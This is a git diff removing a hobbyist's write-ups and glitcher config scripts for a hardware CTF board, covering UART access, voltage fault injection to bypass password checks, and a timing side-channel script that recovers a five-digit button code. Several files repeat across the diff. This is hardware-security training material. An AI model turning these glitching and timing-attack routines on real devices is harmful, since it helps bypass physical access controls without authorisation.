-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-LENGTH = 10
-REPEAT = 10
-DELAY = 10
-
-###
-# ^ = pullup, v = pulldown
-###
-triggers = [
- ['-', False], #0
- ['^', True], #1
- ['-', False], #2
- ['-', False], #3
- ['-', False], #4
- ['-', False], #5
- ['-', False], #6
- ['-', False], #7
-]
-
-### name, enabled, string to match ###
-conditions = [
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-def stop_glitch():
- elapsed = functions.get_glitch_elapsed()
-
- functions.set_trigger_value(1, False)
- functions.set_uart_switch(False)
-
- functions.glitching_switch(False)
- functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py
deleted file mode 100644
index 1185630..0000000
--- a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py
+++ /dev/null
@@ -1,108 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-LENGTH = 10
-REPEAT = 10
-DELAY = 10
-
-###
-# ^ = pullup, v = pulldown
-###
-triggers = [
- ['-', False], #0
- ['^', False], #1
- ['-', False], #2
- ['-', False], #3
- ['-', False], #4
- ['-', False], #5
- ['-', False], #6
- ['-', False], #7
-]
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- functions.run_output_low(0, 3000)
- functions.run_output_low(1, 3000)
- functions.run_output_low(2, 3000)
- functions.run_output_low(3, 3000)
-
-def button_ok():
- functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
- functions.set_trigger_value(0, True)
- functions.run_output_low(0, 3000)
-
- last_state = functions.get_trigger_value(0)
- start_time = time.time()
-
- while True:
- current_state = functions.get_trigger_value(0)
-
- # Detect rising edge: 0 → 1
- if last_state == 0 and current_state == 1:
- functions.set_trigger_value(0, False)
- functions.add_text("[code check complete]")
- break
-
- # Exit if 1 second has elapsed
- if time.time() - start_time >= 1.0:
- functions.add_text("[timeout: no input detected within 1 second]")
- break
-
- last_state = current_state
- time.sleep(0.01) # Polling interval (10 ms)
-
-
-def button_dash():
- functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(1, 3000)
-
-def button_space():
- functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(2, 3000)
-
-def button_dot():
- functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(3, 3000)
-
-
-def echo_trigger_state():
- for channel in range(8):
- state = functions.get_trigger_value(channel)
- if state == 1:
- functions.add_text(f"Channel {channel}: HIGH")
- else:
- functions.add_text(f"Channel {channel}: LOW")
-
-def stop_glitch():
- elapsed = functions.get_glitch_elapsed()
-
- functions.set_trigger_value(1, False)
- functions.set_uart_switch(False)
-
- functions.glitching_switch(False)
- functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md
deleted file mode 100644
index 89bf312..0000000
--- a/Misc/12Sec_CTF_V1/01.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# **Challenge 1: "Serial Snitch"**
-
-As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
-
-Your mission is clear:
-
-1. **Identify the UART pins** you've uncovered during your investigation.
-2. **Determine the correct baud rate** to establish a stable connection.
-3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
-
----
-
-## Findings
-
-#### setup
-
-
-
-#### notes
-
-The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag)
-
-Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
-
-It looks as follows:
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md
deleted file mode 100644
index 689c199..0000000
--- a/Misc/12Sec_CTF_V1/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-12Sec CTF - PwnPad v1.0
-===============
-
-This is where I am storing my documentation and solutions for the PwnPad CTF.
-
-## Status
-
-|done|#|Name|Topics|Description|
-|---|---|---|---|---|
-|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.|
-|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
-|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
-|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
-|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
-|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
-|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
-|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
-|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
-|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
-|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
-|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
-
-## The Board
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png
deleted file mode 100644
index 323ad56..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
deleted file mode 100644
index 19bd20d..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
+++ /dev/null
@@ -1,50 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-UART_NEWLINE = ""
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['1', False, "", 'one'],
- ['2', False, "", 'two'],
- ['3', False, "", 'three'],
-]
-
-######
-# Custom functions
-######
-
-# Toggle states for each function
-toggle_state_one = 0
-toggle_state_two = 0
-toggle_state_three = 0
-
-def one():
- global toggle_state_one
- functions.send_uart_message("1")
- functions.send_uart_message(str(toggle_state_one))
- toggle_state_one = 1 - toggle_state_one
-
-def two():
- global toggle_state_two
- functions.send_uart_message("2")
- functions.send_uart_message(str(toggle_state_two))
- toggle_state_two = 1 - toggle_state_two
-
-def three():
- global toggle_state_three
- functions.send_uart_message("3")
- functions.send_uart_message(str(toggle_state_three))
- toggle_state_three = 1 - toggle_state_three
-
diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png
deleted file mode 100644
index 2620b36..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_setup.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
deleted file mode 100644
index 2671dec..0000000
--- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
+++ /dev/null
@@ -1,7 +0,0 @@
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 31250
-
diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py
deleted file mode 100644
index 0ee78c6..0000000
--- a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py
+++ /dev/null
@@ -1,44 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-LENGTH = 10
-REPEAT = 10
-DELAY = 10
-
-###
-# ^ = pullup, v = pulldown
-###
-triggers = [
- ['-', False], #0
- ['^', True], #1
- ['-', False], #2
- ['-', False], #3
- ['-', False], #4
- ['-', False], #5
- ['-', False], #6
- ['-', False], #7
-]
-
-### name, enabled, string to match ###
-conditions = [
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-def stop_glitch():
- elapsed = functions.get_glitch_elapsed()
-
- functions.set_trigger_value(1, False)
- functions.set_uart_switch(False)
-
- functions.glitching_switch(False)
- functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py
deleted file mode 100644
index 1185630..0000000
--- a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py
+++ /dev/null
@@ -1,108 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-LENGTH = 10
-REPEAT = 10
-DELAY = 10
-
-###
-# ^ = pullup, v = pulldown
-###
-triggers = [
- ['-', False], #0
- ['^', False], #1
- ['-', False], #2
- ['-', False], #3
- ['-', False], #4
- ['-', False], #5
- ['-', False], #6
- ['-', False], #7
-]
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- functions.run_output_low(0, 3000)
- functions.run_output_low(1, 3000)
- functions.run_output_low(2, 3000)
- functions.run_output_low(3, 3000)
-
-def button_ok():
- functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
- functions.set_trigger_value(0, True)
- functions.run_output_low(0, 3000)
-
- last_state = functions.get_trigger_value(0)
- start_time = time.time()
-
- while True:
- current_state = functions.get_trigger_value(0)
-
- # Detect rising edge: 0 → 1
- if last_state == 0 and current_state == 1:
- functions.set_trigger_value(0, False)
- functions.add_text("[code check complete]")
- break
-
- # Exit if 1 second has elapsed
- if time.time() - start_time >= 1.0:
- functions.add_text("[timeout: no input detected within 1 second]")
- break
-
- last_state = current_state
- time.sleep(0.01) # Polling interval (10 ms)
-
-
-def button_dash():
- functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(1, 3000)
-
-def button_space():
- functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(2, 3000)
-
-def button_dot():
- functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(3, 3000)
-
-
-def echo_trigger_state():
- for channel in range(8):
- state = functions.get_trigger_value(channel)
- if state == 1:
- functions.add_text(f"Channel {channel}: HIGH")
- else:
- functions.add_text(f"Channel {channel}: LOW")
-
-def stop_glitch():
- elapsed = functions.get_glitch_elapsed()
-
- functions.set_trigger_value(1, False)
- functions.set_uart_switch(False)
-
- functions.glitching_switch(False)
- functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py
deleted file mode 100644
index 94c453d..0000000
--- a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py
+++ /dev/null
@@ -1,155 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-from arduinIO import ArduinoController
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-######
-# arduinIO values
-######
-ARDIO_PORT = "/dev/ttyACM2"
-ARDIO_BAUDRATE = 115200
-ARDIO_INPUT_PIN = 2
-ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
-ARDIO_PULSE_DURATION_MS = 300
-
-arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
-arduino.connect()
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ['run', False, "", 'find_code'],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- version = arduino.get_version()
- functions.add_text(f"[INFO] Connected to Arduino: {version}")
-
- # Configure pins
- functions.add_text("[INFO] Configuring pin modes...")
- arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
- for pin in ARDIO_OUTPUT_PINS:
- arduino.set_mode(pin, "OUTPUT")
- arduino.set_default(pin, "LOW")
-
- # Display current configuration
- pinmap = arduino.get_pinmap()
- functions.add_text(f"[INFO] Pin map: {pinmap}")
-
-
-def button_ok():
- # Pulse one output pin
- functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dash():
- functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_space():
- functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dot():
- functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def echo_trigger_state():
- state = arduino.get_state(ARDIO_INPUT_PIN)
- functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
-
-def find_code():
- """
- Discover a five-digit code by sending candidate pulses and measuring the
- interval from sending OK (pin 8) until input goes HIGH using wait_for().
-
- For each digit:
- - Send one pulse for previously found digits.
- - Send repeated pulses of the candidate digit to fill 5 pulses.
- - Pulse OK (pin 8) to trigger the device.
- - Measure duration using wait_for() for input HIGH.
- - Select candidate with the longest LOW duration before HIGH.
- """
- candidate_pins = [9, 10, 11]
- code_sequence = []
- pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
-
- button_ok()
- functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
- functions.add_text("[INFO] Starting full code discovery sequence...")
-
- for digit_index in range(5):
- functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
- results = {}
-
- for test_pin in candidate_pins:
- # Build sequence: previously found digits + candidate repeated
- sequence = code_sequence.copy()
- remaining_pulses = 5 - len(sequence)
- sequence += [test_pin] * remaining_pulses
- symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
- functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
- f"sequence: {' '.join(symbol_seq)} ...")
-
- # Send sequence pulses (without timing)
- for pin in sequence:
- arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.1)
-
- # Start timer and pulse OK (pin 8)
- start_time = time.time()
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
-
- # Wait for input to go HIGH and measure duration
- result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
- end_time = time.time()
-
- # Use the Arduino-provided LOW duration, fallback to timer if needed
- duration = result.get("duration_ms", int((end_time - start_time) * 1000))
- functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
-
- results[test_pin] = duration
- time.sleep(0.3)
-
- # Select candidate with longest duration (correct digit)
- correct_pin = max(results, key=results.get)
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
- f"{pin_to_symbol.get(correct_pin)}")
- code_sequence.append(correct_pin)
-
- translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
- functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
- functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
-
- return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md
deleted file mode 100644
index 89bf312..0000000
--- a/Misc/12Sec_CTF_V1/01.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# **Challenge 1: "Serial Snitch"**
-
-As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
-
-Your mission is clear:
-
-1. **Identify the UART pins** you've uncovered during your investigation.
-2. **Determine the correct baud rate** to establish a stable connection.
-3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
-
----
-
-## Findings
-
-#### setup
-
-
-
-#### notes
-
-The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag)
-
-Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
-
-It looks as follows:
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md
deleted file mode 100644
index 689c199..0000000
--- a/Misc/12Sec_CTF_V1/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-12Sec CTF - PwnPad v1.0
-===============
-
-This is where I am storing my documentation and solutions for the PwnPad CTF.
-
-## Status
-
-|done|#|Name|Topics|Description|
-|---|---|---|---|---|
-|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.|
-|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
-|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
-|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
-|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
-|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
-|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
-|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
-|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
-|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
-|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
-|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
-
-## The Board
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png
deleted file mode 100644
index 323ad56..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
deleted file mode 100644
index 19bd20d..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
+++ /dev/null
@@ -1,50 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-UART_NEWLINE = ""
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['1', False, "", 'one'],
- ['2', False, "", 'two'],
- ['3', False, "", 'three'],
-]
-
-######
-# Custom functions
-######
-
-# Toggle states for each function
-toggle_state_one = 0
-toggle_state_two = 0
-toggle_state_three = 0
-
-def one():
- global toggle_state_one
- functions.send_uart_message("1")
- functions.send_uart_message(str(toggle_state_one))
- toggle_state_one = 1 - toggle_state_one
-
-def two():
- global toggle_state_two
- functions.send_uart_message("2")
- functions.send_uart_message(str(toggle_state_two))
- toggle_state_two = 1 - toggle_state_two
-
-def three():
- global toggle_state_three
- functions.send_uart_message("3")
- functions.send_uart_message(str(toggle_state_three))
- toggle_state_three = 1 - toggle_state_three
-
diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png
deleted file mode 100644
index 2620b36..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_setup.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
deleted file mode 100644
index 2671dec..0000000
--- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
+++ /dev/null
@@ -1,7 +0,0 @@
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 31250
-
diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py
deleted file mode 100644
index 0ee78c6..0000000
--- a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py
+++ /dev/null
@@ -1,44 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-LENGTH = 10
-REPEAT = 10
-DELAY = 10
-
-###
-# ^ = pullup, v = pulldown
-###
-triggers = [
- ['-', False], #0
- ['^', True], #1
- ['-', False], #2
- ['-', False], #3
- ['-', False], #4
- ['-', False], #5
- ['-', False], #6
- ['-', False], #7
-]
-
-### name, enabled, string to match ###
-conditions = [
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-def stop_glitch():
- elapsed = functions.get_glitch_elapsed()
-
- functions.set_trigger_value(1, False)
- functions.set_uart_switch(False)
-
- functions.glitching_switch(False)
- functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py
deleted file mode 100644
index 1185630..0000000
--- a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py
+++ /dev/null
@@ -1,108 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-LENGTH = 10
-REPEAT = 10
-DELAY = 10
-
-###
-# ^ = pullup, v = pulldown
-###
-triggers = [
- ['-', False], #0
- ['^', False], #1
- ['-', False], #2
- ['-', False], #3
- ['-', False], #4
- ['-', False], #5
- ['-', False], #6
- ['-', False], #7
-]
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- functions.run_output_low(0, 3000)
- functions.run_output_low(1, 3000)
- functions.run_output_low(2, 3000)
- functions.run_output_low(3, 3000)
-
-def button_ok():
- functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
- functions.set_trigger_value(0, True)
- functions.run_output_low(0, 3000)
-
- last_state = functions.get_trigger_value(0)
- start_time = time.time()
-
- while True:
- current_state = functions.get_trigger_value(0)
-
- # Detect rising edge: 0 → 1
- if last_state == 0 and current_state == 1:
- functions.set_trigger_value(0, False)
- functions.add_text("[code check complete]")
- break
-
- # Exit if 1 second has elapsed
- if time.time() - start_time >= 1.0:
- functions.add_text("[timeout: no input detected within 1 second]")
- break
-
- last_state = current_state
- time.sleep(0.01) # Polling interval (10 ms)
-
-
-def button_dash():
- functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(1, 3000)
-
-def button_space():
- functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(2, 3000)
-
-def button_dot():
- functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(3, 3000)
-
-
-def echo_trigger_state():
- for channel in range(8):
- state = functions.get_trigger_value(channel)
- if state == 1:
- functions.add_text(f"Channel {channel}: HIGH")
- else:
- functions.add_text(f"Channel {channel}: LOW")
-
-def stop_glitch():
- elapsed = functions.get_glitch_elapsed()
-
- functions.set_trigger_value(1, False)
- functions.set_uart_switch(False)
-
- functions.glitching_switch(False)
- functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py
deleted file mode 100644
index 94c453d..0000000
--- a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py
+++ /dev/null
@@ -1,155 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-from arduinIO import ArduinoController
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-######
-# arduinIO values
-######
-ARDIO_PORT = "/dev/ttyACM2"
-ARDIO_BAUDRATE = 115200
-ARDIO_INPUT_PIN = 2
-ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
-ARDIO_PULSE_DURATION_MS = 300
-
-arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
-arduino.connect()
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ['run', False, "", 'find_code'],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- version = arduino.get_version()
- functions.add_text(f"[INFO] Connected to Arduino: {version}")
-
- # Configure pins
- functions.add_text("[INFO] Configuring pin modes...")
- arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
- for pin in ARDIO_OUTPUT_PINS:
- arduino.set_mode(pin, "OUTPUT")
- arduino.set_default(pin, "LOW")
-
- # Display current configuration
- pinmap = arduino.get_pinmap()
- functions.add_text(f"[INFO] Pin map: {pinmap}")
-
-
-def button_ok():
- # Pulse one output pin
- functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dash():
- functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_space():
- functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dot():
- functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def echo_trigger_state():
- state = arduino.get_state(ARDIO_INPUT_PIN)
- functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
-
-def find_code():
- """
- Discover a five-digit code by sending candidate pulses and measuring the
- interval from sending OK (pin 8) until input goes HIGH using wait_for().
-
- For each digit:
- - Send one pulse for previously found digits.
- - Send repeated pulses of the candidate digit to fill 5 pulses.
- - Pulse OK (pin 8) to trigger the device.
- - Measure duration using wait_for() for input HIGH.
- - Select candidate with the longest LOW duration before HIGH.
- """
- candidate_pins = [9, 10, 11]
- code_sequence = []
- pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
-
- button_ok()
- functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
- functions.add_text("[INFO] Starting full code discovery sequence...")
-
- for digit_index in range(5):
- functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
- results = {}
-
- for test_pin in candidate_pins:
- # Build sequence: previously found digits + candidate repeated
- sequence = code_sequence.copy()
- remaining_pulses = 5 - len(sequence)
- sequence += [test_pin] * remaining_pulses
- symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
- functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
- f"sequence: {' '.join(symbol_seq)} ...")
-
- # Send sequence pulses (without timing)
- for pin in sequence:
- arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
